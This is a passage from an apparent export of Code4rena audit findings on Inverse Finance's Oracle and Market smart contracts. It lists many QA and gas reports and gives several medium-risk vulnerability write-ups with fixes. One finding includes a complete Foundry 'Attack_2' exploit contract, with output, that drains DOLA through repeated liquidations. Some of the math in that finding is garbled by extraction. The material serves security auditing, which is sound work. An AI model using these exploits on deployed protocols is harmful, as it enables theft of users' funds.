https://github.com/code-423n4/2022-10-inverse/blob/main/src/Oracle.sol#L112-L144 ```solidity function getPrice(address token, uint collateralFactorBps) external returns (uint) { if(fixedPrices[token] > 0) return fixedPrices[token]; if(feeds[token].feed != IChainlinkFeed(address(0))) { // get price from feed uint price = feeds[token].feed.latestAnswer(); require(price > 0, \"Invalid feed price\"); // normalize price uint8 feedDecimals = feeds[token].feed.decimals(); uint8 tokenDecimals = feeds[token].tokenDecimals; uint8 decimals = 36 - feedDecimals - tokenDecimals; uint normalizedPrice = price * (10 ** decimals); // potentially store price as today's low uint day = block.timestamp / 1 days; uint todaysLow = dailyLows[token][day]; if(todaysLow == 0 || normalizedPrice < todaysLow) { dailyLows[token][day] = normalizedPrice; todaysLow = normalizedPrice; emit RecordDailyLow(token, normalizedPrice); } // get yesterday's low uint yesterdaysLow = dailyLows[token][day - 1]; // calculate new borrowing power based on collateral factor uint newBorrowingPower = normalizedPrice * collateralFactorBps / 10000; uint twoDayLow = todaysLow > yesterdaysLow && yesterdaysLow > 0 ? yesterdaysLow : todaysLow; if(twoDayLow > 0 && newBorrowingPower > twoDayLow) { uint dampenedPrice = twoDayLow * 10000 / collateralFactorBps; return dampenedPrice < normalizedPrice ? dampenedPrice: normalizedPrice; } return normalizedPrice; } revert(\"Price not found\"); } ``` https://github.com/code-423n4/2022-10-inverse/blob/main/src/Market.sol#L344-L347 ```solidity function getCreditLimitInternal(address user) internal returns (uint) { uint collateralValue = getCollateralValueInternal(user); return collateralValue * collateralFactorBps / 10000; } ``` https://github.com/code-423n4/2022-10-inverse/blob/main/src/Market.sol#L323-L327 ```solidity function getCollateralValueInternal(address user) internal returns (uint) { IEscrow escrow = predictEscrow(user); uint collateralBalance = escrow.balance(); return collateralBalance * oracle.getPrice(address(collateral), collateralFactorBps) / 1 ether; } ``` https://github.com/code-423n4/2022-10-inverse/blob/main/src/Market.sol#L353-L363 ```solidity function getWithdrawalLimitInternal(address user) internal returns (uint) { IEscrow escrow = predictEscrow(user); uint collateralBalance = escrow.balance(); if(collateralBalance == 0) return 0; uint debt = debts[user]; if(debt == 0) return collateralBalance; if(collateralFactorBps == 0) return 0; uint minimumCollateral = debt * 1 ether / oracle.getPrice(address(collateral), collateralFactorBps) * 10000 / collateralFactorBps; if(collateralBalance <= minimumCollateral) return 0; return collateralBalance - minimumCollateral; } ``` ## Proof of Concept The following steps can occur for the described scenario. 1. Alice calls the `depositAndBorrow` function to deposit some WETH as the collateral and borrows some DOLA against the collateral. 2. Bob calls the `liquidate` function for trying to liquidate Alice's debt. Because the Chainlink oracle data feed returns an up-to-date price at this moment, the `getCreditLimitInternal` function calculates Alice's credit limit accurately, which does not cause Alice's debt to be under water. Hence, Bob's `liquidate` transaction reverts. 3. After some time, Bob calls the `liquidate` function again for trying to liquidate Alice's debt. This time, because the Chainlink oracle data feed returns a positive but stale price, the `getCreditLimitInternal` function calculates Alice's credit limit inaccurately, which mistakenly causes Alice's debt to be under water. 4. Bob's `liquidate` transaction is executed successfully so he gains some of Alice's WETH collateral. Alice loses such WETH collateral amount unexpectedly because her debt should not be considered as under water if the stale price was not used. ## Tools Used VSCode ## Recommended Mitigation Steps https://github.com/code-423n4/2022-10-inverse/blob/main/src/Oracle.sol#L82-L83 and https://github.com/code-423n4/2022-10-inverse/blob/main/src/Oracle.sol#L116-L117 can be updated to the following code. ```solidity (uint80 roundId, int256 answer, , uint256 updatedAt, uint80 answeredInRound) = feeds[token].feed.latestRoundData(); require(answeredInRound >= roundId, \"answer is stale\"); require(updatedAt > 0, \"round is incomplete\"); require(answer > 0, \"Invalid feed answer\"); uint256 price = uint256(answer); ```"}, {"title": "Calling `repay` function sends less DOLA to `Market` contract when `forceReplenish` function is not called while it could be called", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/583", "labels": ["bug", "2 (Med Risk)", "primary issue", "sponsor disputed", "selected for report", "M-16"], "target": "2022-10-inverse-findings", "body": "Calling `repay` function sends less DOLA to `Market` contract when `forceReplenish` function is not called while it could be called"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/569", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-50"], "target": "2022-10-inverse-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/567", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-49"], "target": "2022-10-inverse-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/559", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-52"], "target": "2022-10-inverse-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/554", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-51"], "target": "2022-10-inverse-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/548", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-48"], "target": "2022-10-inverse-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/539", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-50"], "target": "2022-10-inverse-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/536", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-47"], "target": "2022-10-inverse-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/535", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-46"], "target": "2022-10-inverse-findings", "body": "QA Report"}, {"title": "Oracle assumes token and feed decimals will be limited to 18 decimals", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/533", "labels": ["bug", "2 (Med Risk)", "primary issue", "satisfactory", "sponsor confirmed", "selected for report", "M-15"], "target": "2022-10-inverse-findings", "body": "# Lines of code https://github.com/code-423n4/2022-10-inverse/blob/main/src/Oracle.sol#L87 https://github.com/code-423n4/2022-10-inverse/blob/main/src/Oracle.sol#L121 # Vulnerability details ## Impact The `Oracle` contract normalizes prices in both `viewPrices` and `getPrices` functions to adjust for potential decimal differences between feed and token decimals and the expected return value. However these functions assume that `feedDecimals` and `tokenDecimals` won't exceed 18 since the normalization calculation is `36 - feedDecimals - tokenDecimals`, or that at worst case the sum of both won't exceed 36. This assumption should be safe for certain cases, for example WETH is 18 decimals and the ETH/USD chainlink is 8 decimals, but may cause an overflow (and a revert) for the general case, rendering the Oracle useless in these cases. ## Proof of Concept If `feedDecimals + tokenDecimals > 36` then the expression `36 - feedDecimals - tokenDecimals` will be negative and (due to Solidity 0.8 default checked math) will cause a revert. ## Recommended Mitigation Steps In case `feedDecimals + tokenDecimals` exceeds 36, then the proper normalization procedure would be to **divide** the price by `10 ** decimals`. Something like this: ``` uint normalizedPrice; if (feedDecimals + tokenDecimals > 36) { uint decimals = feedDecimals + tokenDecimals - 36; normalizedPrice = price / (10 ** decimals) } else { uint8 decimals = 36 - feedDecimals - tokenDecimals; normalizedPrice = price * (10 ** decimals); } ```"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/532", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden", "grade-b", "G-49"], "target": "2022-10-inverse-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/531", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden", "grade-a", "Q-45"], "target": "2022-10-inverse-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/528", "labels": ["bug", "G (Gas Optimization)", "grade-a", "G-48"], "target": "2022-10-inverse-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/527", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-44"], "target": "2022-10-inverse-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/523", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden", "grade-b", "Q-43"], "target": "2022-10-inverse-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/517", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-42"], "target": "2022-10-inverse-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/516", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-41"], "target": "2022-10-inverse-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/515", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-47"], "target": "2022-10-inverse-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/513", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden", "grade-b", "Q-40"], "target": "2022-10-inverse-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/505", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-46"], "target": "2022-10-inverse-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/498", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-39"], "target": "2022-10-inverse-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/497", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-45"], "target": "2022-10-inverse-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/496", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-38"], "target": "2022-10-inverse-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/493", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-37"], "target": "2022-10-inverse-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/492", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-44"], "target": "2022-10-inverse-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/491", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-36"], "target": "2022-10-inverse-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/490", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-43"], "target": "2022-10-inverse-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/489", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-35"], "target": "2022-10-inverse-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/488", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-42"], "target": "2022-10-inverse-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/486", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-34"], "target": "2022-10-inverse-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/485", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-41"], "target": "2022-10-inverse-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/484", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-33"], "target": "2022-10-inverse-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/475", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-40"], "target": "2022-10-inverse-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/471", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-39"], "target": "2022-10-inverse-findings", "body": "Gas Optimizations"}, {"title": "Two day low oracle used in `Market.liquidate()` makes the system highly at risk in an oracle attack ", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/469", "labels": ["bug", "2 (Med Risk)", "downgraded by judge", "primary issue", "sponsor disputed", "selected for report", "M-14"], "target": "2022-10-inverse-findings", "body": "Two day low oracle used in `Market.liquidate()` makes the system highly at risk in an oracle attack "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/465", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-38"], "target": "2022-10-inverse-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/460", "labels": ["bug", "QA (Quality Assurance)", "grade-a", "Q-32"], "target": "2022-10-inverse-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/456", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden", "grade-b", "Q-31"], "target": "2022-10-inverse-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/452", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-30"], "target": "2022-10-inverse-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/451", "labels": ["bug", "G (Gas Optimization)", "grade-a", "G-37"], "target": "2022-10-inverse-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/444", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-29"], "target": "2022-10-inverse-findings", "body": "QA Report"}, {"title": "`Market::forceReplenish` can be DoSed", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/443", "labels": ["bug", "2 (Med Risk)", "satisfactory", "sponsor confirmed", "selected for report", "M-13"], "target": "2022-10-inverse-findings", "body": "# Lines of code https://github.com/code-423n4/2022-10-inverse/blob/main/src/Market.sol#L562 # Vulnerability details ## Impact If a user wants to completely forceReplenish a borrower with deficit, the borrower or any other malicious party can front run this with a dust amount to prevent the replenish. ## Proof of Concept ```javascript function testForceReplenishFrontRun() public { gibWeth(user, wethTestAmount); gibDBR(user, wethTestAmount / 14); uint initialReplenisherDola = DOLA.balanceOf(replenisher); vm.startPrank(user); deposit(wethTestAmount); uint borrowAmount = getMaxBorrowAmount(wethTestAmount); market.borrow(borrowAmount); uint initialUserDebt = market.debts(user); uint initialMarketDola = DOLA.balanceOf(address(market)); vm.stopPrank(); vm.warp(block.timestamp + 5 days); uint deficitBefore = dbr.deficitOf(user); vm.startPrank(replenisher); market.forceReplenish(user,1); // front run DoS vm.expectRevert(\"Amount > deficit\"); market.forceReplenish(user, deficitBefore); // fails due to amount being larger than deficit assertEq(DOLA.balanceOf(replenisher), initialReplenisherDola, \"DOLA balance of replenisher changed\"); assertEq(DOLA.balanceOf(address(market)), initialMarketDola, \"DOLA balance of market changed\"); assertEq(DOLA.balanceOf(replenisher) - initialReplenisherDola, initialMarketDola - DOLA.balanceOf(address(market)), \"DOLA balance of market did not decrease by amount paid to replenisher\"); assertEq(dbr.deficitOf(user), deficitBefore-1, \"Deficit of borrower was not fully replenished\"); // debt only increased by dust assertEq(market.debts(user) - initialUserDebt, 1 * replenishmentPriceBps / 10000, \"Debt of borrower did not increase by replenishment price\"); } ``` This requires that the two txs end up in the same block. If they end up in different blocks the front run transaction will need to account for the increase in deficit between blocks. ## Tools Used vscode, forge ## Recommended Mitigation Steps Use `min(deficit,amount)` as amount to replenish "}, {"title": " Users could get some `DOLA` even if their are on liquidation position", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/419", "labels": ["bug", "2 (Med Risk)", "satisfactory", "sponsor confirmed", "selected for report", "M-12"], "target": "2022-10-inverse-findings", "body": "# Lines of code https://github.com/code-423n4/2022-10-inverse/blob/main/src/Market.sol#L566 # Vulnerability details ## Impact Users abels to invoke `forceReplenish()` when they are on liquidation position ## Proof of Concept On `Market.sol` ==> `forceReplenish()` On this line ``` uint collateralValue = getCollateralValueInternal(user); ``` `getCollateralValueInternal(user)` only return the value of the collateral ``` function getCollateralValueInternal(address user) internal returns (uint) { IEscrow escrow = predictEscrow(user); uint collateralBalance = escrow.balance(); return collateralBalance * oracle.getPrice(address(collateral), collateralFactorBps) / 1 ether; ``` So if the user have 1.5 wETH at the price of 1 ETH = 1600 USD It will return `1.5 * 1600` and this value is the real value we can\u2019t just check it directly with the debt like this ``` require(collateralValue >= debts[user], \"Exceeded collateral value\"); ``` This is no longer `over collateralized` protocol The value needs to be multiplied by `collateralFactorBps / 10000` - So depending on the value of `collateralFactorBps` and `liquidationFactorBps` the user could be in the liquidation position but he is able to invoke `forceReplenish()` to cover all their `dueTokensAccrued[user]` on `DBR.sol` and get more `DOLA` - or it will lead a healthy debt to be in the liquidation position after invoking `forceReplenish()` - ## Recommended Mitigation Steps Use `getCreditLimitInternal()` rather than `getCollateralValueInternal()`. "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/413", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-28"], "target": "2022-10-inverse-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/411", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-36"], "target": "2022-10-inverse-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/406", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden", "grade-b", "Q-27"], "target": "2022-10-inverse-findings", "body": "QA Report"}, {"title": "`viewPrice` doesn't always report dampened price", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/404", "labels": ["bug", "2 (Med Risk)", "satisfactory", "sponsor confirmed", "selected for report", "M-11"], "target": "2022-10-inverse-findings", "body": "# Lines of code https://github.com/code-423n4/2022-10-inverse/blob/3e81f0f5908ea99b36e6ab72f13488bbfe622183/src/Oracle.sol#L91 # Vulnerability details ## Impact Oracle's `viewPrice` function doesn't report a dampened price until `getPrice` is called and today's price is updated. This will impact the public read-only functions that call it: - [getCollateralValue](https://github.com/code-423n4/2022-10-inverse/blob/3e81f0f5908ea99b36e6ab72f13488bbfe622183/src/Market.sol#L312); - [getCreditLimit](https://github.com/code-423n4/2022-10-inverse/blob/3e81f0f5908ea99b36e6ab72f13488bbfe622183/src/Market.sol#L334) (calls `getCollateralValue`); - [getLiquidatableDebt](https://github.com/code-423n4/2022-10-inverse/blob/3e81f0f5908ea99b36e6ab72f13488bbfe622183/src/Market.sol#L578) (calls `getCreditLimit`); - [getWithdrawalLimit](https://github.com/code-423n4/2022-10-inverse/blob/3e81f0f5908ea99b36e6ab72f13488bbfe622183/src/Market.sol#L370). These functions are used to get on-chain state and prepare values for write calls (e.g. calculate withdrawal amount before withdrawing or calculate a user's debt that can be liquidated before liquidating it). Thus, wrong values returned by these functions can cause withdrawal of a wrong amount or liquidation of a wrong debt or cause reverts. ## Proof of Concept ```solidity // src/test/Oracle.t.sol function test_viewPriceNoDampenedPrice_AUDIT() public { uint collateralFactor = market.collateralFactorBps(); uint day = block.timestamp / 1 days; uint feedPrice = ethFeed.latestAnswer(); //1600e18 price saved as daily low oracle.getPrice(address(WETH), collateralFactor); assertEq(oracle.dailyLows(address(WETH), day), feedPrice); vm.warp(block.timestamp + 1 days); uint newPrice = 1200e18; ethFeed.changeAnswer(newPrice); //1200e18 price saved as daily low oracle.getPrice(address(WETH), collateralFactor); assertEq(oracle.dailyLows(address(WETH), ++day), newPrice); vm.warp(block.timestamp + 1 days); newPrice = 3000e18; ethFeed.changeAnswer(newPrice); //1200e18 should be twoDayLow, 3000e18 is current price. We should receive dampened price here. // Notice that viewPrice is called before getPrice. uint viewPrice = oracle.viewPrice(address(WETH), collateralFactor); uint price = oracle.getPrice(address(WETH), collateralFactor); assertEq(oracle.dailyLows(address(WETH), ++day), newPrice); assertEq(price, 1200e18 * 10_000 / collateralFactor); // View price wasn't dampened. assertEq(viewPrice, 3000e18); } ``` ## Tools Used Manual review ## Recommended Mitigation Steps Consider this change: ```diff --- a/src/Oracle.sol +++ b/src/Oracle.sol @@ -89,6 +89,9 @@ contract Oracle { uint day = block.timestamp / 1 days; // get today's low uint todaysLow = dailyLows[token][day]; + if(todaysLow == 0 || normalizedPrice < todaysLow) { + todaysLow = normalizedPrice; + } // get yesterday's low uint yesterdaysLow = dailyLows[token][day - 1]; // calculate new borrowing power based on collateral factor ```"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/398", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-26"], "target": "2022-10-inverse-findings", "body": "QA Report"}, {"title": "Liquidation should make a borrower _healthier_", "html_url": "https://github.com/code-423n4/2022-10-inverse-findings/issues/395", "labels": ["bug", "2 (Med Risk)", "downgraded by judge", "satisfactory", "sponsor confirmed", "selected for report", "M-10"], "target": "2022-10-inverse-findings", "body": "# Lines of code https://github.com/code-423n4/2022-10-inverse/blob/main/src/Market.sol#L559 https://github.com/code-423n4/2022-10-inverse/blob/main/src/Market.sol#L591 # Vulnerability details ## Impact For a lending pool, borrower's debt healthness can be decided by the health factor, i.e. the collateral value divided by debt. ($C/D$) The less the health factor is, the borrower's collateral is more risky of being liquidated. Liquidation is supposed to make the borrower healthier (by paying debts and claiming some collateral), or else continuous liquidations can follow up and this can lead to a so-called [liquidation crisis](https://medium.com/coinmonks/what-is-liquidation-in-defi-lending-and-borrowing-platforms-3326e0ba8d0). In a normal lending protocol, borrower's debt is limited by collateral factor in any case. For this protocol, users can force replenishment for the addresses in deficit and the replenishment increases the borrower's debt. And in the current implementation the replenishment is limited so that the new debt is not over than the collateral value. As we will see below, this limitation is not enough and if the borrower's debt is over some threshold (still less than collateral value), liquidation makes the borrower debt \"unhealthier\". And repeating liquidation can lead to various problems and we will even show an example that the attacker can take the DOLA out of the market. ## Proof of Concept ### Terminology $C_f$ - collateralFactorBps / 10000 $L_i$ - liquidationIncentiveBps / 10000 $L_{fe}$ - liquidationFeeBps / 10000 $L_{fa}$ - liquidationFactorBps / 10000 $D$ - user's debt recognized by the market $C$ - user's collateral held by the escrow $P$ - collateral price in DOLA, 1 collateral = $P$ DOLAs. For simplicity, assumed to be a constant. Constraints on the parameters in the current implementation All parameters are in range $(0,1)$ and $L_{fe}+L_i<1$. #### Condition for liquidation 1. Debt is over the credit limit $D>C_f C P$ 2. Liquidation amount is limited by liquidation factor times user debt. $x\\le L_{fa}D$ #### Study We will explore a condition when the liquidation will decrease the health factor after liquidation of $x$. After liquidation, borrower's new debt is $D-x$ and the collateral value is $CP-x(1+L_i+L_{fe})$ (in DOLA) due to the incentives and fee. Let us see when the new health factor can be less than the previous health factor. $\\frac {CP-x(1+L_i+L_{fe})}{D-x} < \\frac {CP}{D}$ $CP\\frac{CP}{1+L_i+L_{fe}}$ So if the borrower's debt is over some value depending on the collateral value and liquidation incentive and fee, liquidation of any amount will make the account unhealthier. Note that the right hand of the above inequality is still less than the collateral value and it means one can intentionally increase an account debt via replenishment so that it is over the threshold. Furthermore, we notice that it is even possible that the debt can be greater than the above threshold without any replenishment if $C_f>\\frac {1}{1+L_i+L_{fe}}$. The example attacker is written assuming this case but considering the possible side effects of replenishment, we suggest limiting the liquidation function so that it can not decrease the health factor. #### Example For $C_f=0.85, L_{fe}=0.01, L_{fa}=0.5, L_i=0.18$, an attacker can take DOLA out of protocol as below. We believe that these parameters are quite realistic. For these parameters, if an attacker borrows as much as it can, then the debt becomes greater than the threshold already without any replenishment. ```solidity // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13; import \"forge-std/Test.sol\"; import \"../DBR.sol\"; import \"../Market.sol\"; import \"./FiRMTest.sol\"; contract Attack_2 is FiRMTest { address operator; function setUp() public { vm.label(gov, \"operator\"); operator = gov; collateralFactorBps = 8500; liquidationBonusBps = 1800; replenishmentPriceBps = 50000; initialize(replenishmentPriceBps, collateralFactorBps, replenishmentIncentiveBps, liquidationBonusBps, callOnDepositCallback); vm.startPrank(gov); market.setLiquidationFeeBps(100); market.setLiquidationFactorBps(5000); vm.stopPrank(); vm.startPrank(chair); fed.expansion(IMarket(address(market)), 1_000_000e18); vm.stopPrank(); } function getMaxForceReplenishable(address user) public view returns (uint) { // once the debt is over the collateral value, getLiquidatableDebt might return more than what are actually in the collateral uint256 currentDeficit = dbr.deficitOf(user); uint256 limitByCollateralValue = 0; if(market.getCollateralValue(user) > market.debts(user)) { limitByCollateralValue = (market.getCollateralValue(user) - market.debts(user)) * 10000 / dbr.replenishmentPriceBps(); } return currentDeficit <= limitByCollateralValue ? currentDeficit : limitByCollateralValue; } function getMaxLiquidatable(address user) public view returns (uint) { // once the debt is over the collateral value, getLiquidatableDebt might return more than what are actually in the collateral uint256 limitByLiquidationFactor = market.getLiquidatableDebt(user); uint256 limitByLiquidationReward = market.getCollateralValue(user) * 10000 / (10000 + market.liquidationFeeBps() + market.liquidationIncentiveBps()); return limitByLiquidationFactor >= limitByLiquidationReward ? limitByLiquidationReward : limitByLiquidationFactor; } function userTotalValue(address user) public view returns (uint256) { uint P = ethFeed.latestAnswer() / 1e18; uint256 totalValue = DOLA.balanceOf(user) / P + WETH.balanceOf(user); // if the collateral value is greater than the debt, the total value includes the difference because user can repay debt and claim the collateral back if(market.getCollateralValue(user) > market.debts(user)) totalValue += (market.getCollateralValue(user) - market.debts(user))/P; return totalValue; } function testAttack_2() public { uint P = ethFeed.latestAnswer() / 1e18; // assume the price stays the same gibWeth(user, wethTestAmount); // 10^18, 1 eth for collateral gibDOLA(user, wethTestAmount * P); // 10^18, 1 eth in DOLA for liquidation // block 1 vm.startPrank(user); deposit(wethTestAmount); // collateral uint borrowAmount = market.getCreditLimit(user); // borrow as much as it can market.borrow(borrowAmount); emit log_named_decimal_uint(\"Total value before exploit\", userTotalValue(user), 18); emit log_named_uint(\"B\", market.debts(user)); emit log_named_uint(\"D\", market.debts(user)); emit log_named_uint(\"C\", market.getCollateralValue(user)); emit log_named_decimal_uint(\"H\", market.getCollateralValue(user) * 1e18 / market.debts(user), 18); // start liquidation uint cycle = 1; while(cycle < 100) { emit log_named_uint(\"Cycle\", cycle); uint256 liquidatable = getMaxLiquidatable(user); if(liquidatable > 0) { emit log(\"Liquidation\"); emit log_named_uint(\"L\", liquidatable); market.liquidate(user, liquidatable); // liquidate as much as it can } else { emit log(\"Wait a block and force replenishment\"); vm.warp(block.timestamp + 1); uint256 replenishable = getMaxForceReplenishable(user); emit log_named_uint(\"R\", replenishable); // force replenish as much as possible, this will incur some loss but will make the address liquidatable market.forceReplenish(user, replenishable); } emit log_named_uint(\"D\", market.debts(user)); emit log_named_uint(\"C\", market.getCollateralValue(user)); emit log_named_decimal_uint(\"H\", market.getCollateralValue(user) * 1e18 / market.debts(user), 18); ++ cycle; uint256 totalValue = userTotalValue(user); emit log_named_decimal_uint(\"Total value the user owns\", totalValue, 18); if(totalValue > wethTestAmount * 2) break; // no need to continue, the attacker already took profit from the market } } } ``` The test results are as below. We can see that the health factor is decreasing for every liquidation and this ultimately makes the debt greater than collateral value. Then the attacker's total value increases for every liquidation and finally it gets more value than the initial status. ``` > forge test -vv --match-test testAttack_2 Total value before exploit: 2.000000000000000000 B: 1360000000000000000000 D: 1360000000000000000000 C: 1600000000000000000000 H: 1.176470588235294117 Cycle: 1 Wait a block and force replenishment R: 43125317097919 D: 1360000215626585489595 C: 1600000000000000000000 H: 1.176470401707135551 Total value the user owns: 1.999999871971714865 Cycle: 2 Liquidation L: 680000107813292744797 D: 680000107813292744798 C: 790799871702181636800 H: 1.162940803414271107 Total value the user owns: 1.995749871297881786 Cycle: 3 Liquidation L: 340000053906646372399 D: 340000053906646372399 C: 386199807553272457600 H: 1.135881606828542227 Total value the user owns: 1.993624870960965247 Cycle: 4 Liquidation L: 170000026953323186199 D: 170000026953323186200 C: 183899775478817868800 H: 1.081763213657084471 Total value the user owns: 1.992562370792506977 Cycle: 5 Liquidation L: 85000013476661593100 D: 85000013476661593100 C: 82749759441590576000 H: 0.973526427314168978 Total value the user owns: 1.993437529480197230 Cycle: 6 Liquidation L: 42500006738330796550 D: 42500006738330796550 C: 32174751422976931200 H: 0.757052854628338029 Total value the user owns: 1.998218780238259443 Cycle: 7 Liquidation L: 21250003369165398275 D: 21250003369165398275 C: 6887247413670110400 H: 0.324105709256676206 Total value the user owns: 2.000609405617290549 ``` ## Tools Used Foundry ## Recommended Mitigation Steps Make sure the liquidation does not decrease the health index in the function `liquidate`. With this mitigation, we also suggest limiting the debt increase in the function `forceReplenish` so that the new debt after replenish will not be over the threshold. ```solidity function liquidate(address user, uint repaidDebt) public { require(repaidDebt > 0, \"Must repay positive debt\"); uint debt = debts[user]; require(getCreditLimitInternal(user) < debt, \"User debt is healthy\"); require(repaidDebt <= debt * liquidationFactorBps / 10000, \"Exceeded liquidation factor\"); // **************************************** uint beforeHealthFactor = getCollateralValue(user) * 1e18 / debt; // @audit remember the health factor before liquidation // **************************************** uint price = oracle.getPrice(address(collateral), collateralFactorBps); 